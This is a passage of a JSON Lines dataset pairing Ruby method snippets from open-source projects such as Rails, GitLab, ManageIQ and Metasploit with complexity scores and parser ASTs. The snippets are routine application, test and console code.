end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_in_merge_request_draft_status_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"merge_request_id\"]},{\"type\":\"arg\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_merge_request_mail\",{\"type\":\"lvar\",\"children\":[\"merge_request_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@updated_by_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_thread\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_thread_options\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}","id":"7cdaab0a-7273-438c-8d96-577f7ee88228"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/preferences/scoped_store.rb","start_line":12,"raw_source":"def fetch(key, &block)\n      store.fetch(key_for(key), &block)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"6bfa247d-558b-4382-bec9-121ef7eec42f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/date.rb","start_line":20,"raw_source":"def type_cast_for_schema(value)\n            case value\n            when ::Float::INFINITY then \"::Float::INFINITY\"\n            when -::Float::INFINITY then \"-::Float::INFINITY\"\n            else super\n            end\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"type_cast_for_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Float\"]},\"INFINITY\"]},{\"type\":\"str\",\"children\":[\"::Float::INFINITY\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Float\"]},\"INFINITY\"]},\"-@\"]},{\"type\":\"str\",\"children\":[\"-::Float::INFINITY\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"777c1b92-e050-45ee-97bd-4f7f3e7d8e46"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/availability_zone.rb","start_line":30,"raw_source":"def perf_rollup_parents(interval_name = nil)\n    [ext_management_system].compact unless interval_name == 'realtime'\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_rollup_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"realtime\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]}]},\"compact\"]}]}]}","id":"b0f3a0ff-5761-4a1b-b264-289f357fb29e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ensure_xcode_version.rb","start_line":59,"raw_source":"def self.error(selected_version, required_version)\n        UI.message(\"Selected Xcode version is not correct: #{selected_version}. You expected #{required_version}.\")\n        UI.message(\"To correct this, use: `xcode_select(version: #{required_version})`.\")\n\n        UI.user_error!(\"Selected Xcode version doesn't match your requirement.\\nExpected: Xcode #{required_version}\\nActual: Xcode #{selected_version}\\n\")\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selected_version\"]},{\"type\":\"arg\",\"children\":[\"required_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Selected Xcode version is not correct: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_version\"]}]},{\"type\":\"str\",\"children\":[\". You expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"To correct this, use: `xcode_select(version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_version\"]}]},{\"type\":\"str\",\"children\":[\")`.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Selected Xcode version doesn't match your requirement.\\nExpected: Xcode \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_version\"]}]},{\"type\":\"str\",\"children\":[\"\\nActual: Xcode \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_version\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"61ebe816-70f2-43ee-be8a-ee8e6207ad5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_record.rb","start_line":67,"raw_source":"def self.safe_find_or_create_by!(*args, &block)\n    safe_find_or_create_by(*args, &block).tap do |record|\n      raise ActiveRecord::RecordNotFound unless record.present?\n\n      record.validate! unless record.persisted?\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"safe_find_or_create_by!\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_find_or_create_by\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"persisted?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"validate!\"]}]}]}]}]}","id":"aca6dcdc-bfed-47ff-bfac-b39a3e6be175"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":2133,"raw_source":"def cmd_db_disconnect(*args)\n    return if not db_check_driver\n\n    if args[0] == '-h' || args[0] == '--help'\n      cmd_db_disconnect_help\n      return\n    elsif args[0] == '-c' || args[0] == '--clear'\n      clear_default_db\n      return\n    end\n\n    previous_name = framework.db.name\n    result = Msf::DbConnector.db_disconnect(framework)\n\n    if result[:error]\n      print_error \"Unable to disconnect from the data service: #{@current_data_service}\"\n      print_error result[:error]\n    elsif result[:old_data_service_name].nil?\n      print_error 'Not currently connected to a data service.'\n    else\n      print_line \"Successfully disconnected from the data service: #{previous_name}.\"\n      @current_data_service = result[:data_service_name]\n      if @current_data_service\n        print_line \"Now connected to: #{@current_data_service}.\"\n      end\n    end\n  end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_db_disconnect\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_check_driver\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"--help\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_db_disconnect_help\"]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"--clear\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clear_default_db\"]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"previous_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DbConnector\"]},\"db_disconnect\",{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to disconnect from the data service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"old_data_service_name\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not currently connected to a data service.\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully disconnected from the data service: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_data_service\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data_service_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Now connected to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_data_service\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},null]}]}]}]}]}]}","id":"247eb7ac-c3f8-4168-b166-ea17065af2f1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/telegram/telegram_command_controller.rb","start_line":57,"raw_source":"def process_command(message)\n      return unless message[\"text\"] # No command to be processed\n\n      chat_id = params[\"message\"][\"chat\"][\"id\"]\n\n      provider = DiscourseChatIntegration::Provider::TelegramProvider::PROVIDER_NAME\n\n      channel =\n        DiscourseChatIntegration::Channel\n          .with_provider(provider)\n          .with_data_value(\"chat_id\", chat_id)\n          .first\n\n      text_key =\n        if channel.nil?\n          \"unknown_chat\"\n        elsif !SiteSetting.chat_integration_telegram_enable_slash_commands ||\n              !message[\"text\"].start_with?(\"/\")\n          \"silent\"\n        else\n          \"\"\n        end\n\n      return \"\" if text_key == \"silent\"\n\n      if text_key.present?\n        return(\n          I18n.t(\n            \"chat_integration.provider.telegram.#{text_key}\",\n            site_title: CGI.escapeHTML(SiteSetting.title),\n            chat_id: chat_id,\n          )\n        )\n      end\n\n      tokens = message[\"text\"].split(\" \")\n\n      tokens[0][0] = \"\" # Remove the slash from the first token\n      tokens[0] = tokens[0].split(\"@\")[0] # Remove the bot name from the command (necessary for group chats)\n\n      DiscourseChatIntegration::Helper.process_command(channel, tokens)\n    end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"chat_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"chat\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"TelegramProvider\"]},\"PROVIDER_NAME\"]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"with_provider\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},\"with_data_value\",{\"type\":\"str\",\"children\":[\"chat_id\"]},{\"type\":\"lvar\",\"children\":[\"chat_id\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text_key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"unknown_chat\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_telegram_enable_slash_commands\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]}]},{\"type\":\"str\",\"children\":[\"silent\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_key\"]},\"==\",{\"type\":\"str\",\"children\":[\"silent\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_key\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chat_integration.provider.telegram.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_key\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"site_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_id\"]},{\"type\":\"lvar\",\"children\":[\"chat_id\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"text\"]}]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Helper\"]},\"process_command\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]}]}","id":"3d14f1d5-cca3-4287-9688-299b969386e8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_debug_agent.rb","start_line":65,"raw_source":"def shutdown\n      @server.stop_service if @server\n\n      super\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"shutdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"stop_service\"]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a9cf4187-02f9-4eeb-be54-7a71a3b47831"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/local_exploit_suggester.rb","start_line":88,"raw_source":"def has_required_module_options?(mod)\n    get_all_missing_module_options(mod).empty?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_required_module_options?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_all_missing_module_options\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},\"empty?\"]}]}","id":"bdec472a-9e18-41dd-8aa3-6eced081d844"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb","start_line":305,"raw_source":"def test_save_of_record_with_loaded_has_one_through\n    @club = @member.club\n    assert_not_nil @club.sponsored_member\n\n    assert_nothing_raised do\n      Club.find(@club.id).save!\n      Club.all.merge!(includes: :sponsored_member).find(@club.id).save!\n    end\n\n    @club.sponsor.destroy\n\n    assert_nothing_raised do\n      Club.find(@club.id).save!\n      Club.all.merge!(includes: :sponsored_member).find(@club.id).save!\n    end\n  end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_save_of_record_with_loaded_has_one_through\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@club\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@member\"]},\"club\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"sponsored_member\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"id\"]}]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"sponsored_member\"]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"id\"]}]},\"save!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"sponsor\"]},\"destroy\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"id\"]}]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Club\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"sponsored_member\"]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@club\"]},\"id\"]}]},\"save!\"]}]}]}]}]}","id":"3624657e-4b10-4b2a-9691-97bc1ee9c367"}
{"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit/authorization.rb","start_line":126,"raw_source":"def verify_authorized\n      raise AuthorizationNotPerformedError, self.class unless pundit_policy_authorized?\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_authorized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pundit_policy_authorized?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AuthorizationNotPerformedError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"c6dcbad7-5348-4349-b253-82bf80271b6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build.rb","start_line":152,"raw_source":"def variable_expansion_errors\n            expanded_collection = evaluate_context.variables_sorted_and_expanded\n            errors = expanded_collection.errors\n            [\"#{name}: #{errors}\"] if errors\n          end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"variable_expansion_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expanded_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"evaluate_context\"]},\"variables_sorted_and_expanded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expanded_collection\"]},\"errors\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]},null]}]}]}","id":"105fac39-f432-4ad4-bc62-c81af8014d57"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant.rb","start_line":252,"raw_source":"def self.seed\n    root_tenant || create! do |_|\n      _log.info(\"Creating root tenant\")\n    end\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_tenant\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Creating root tenant\"]}]}]}]}]}","id":"d0318eb4-d4f8-4c07-9b62-00d209577cf6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":885,"raw_source":"def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition\n    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))\n    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long\n    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", (twz + 86400).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", (twz + 86400.seconds).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.since(86400).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.since(86400.seconds).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.in(86400).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.in(86400.seconds).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.advance(seconds: 86400).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", (twz + 1440.minutes).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.since(1440.minutes).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.in(1440.minutes).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.advance(minutes: 1440).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", (twz + 24.hours).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.since(24.hours).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.in(24.hours).inspect\n    assert_equal \"2006-04-02 11:30:00.000000000 EDT -04:00\", twz.advance(hours: 24).inspect\n  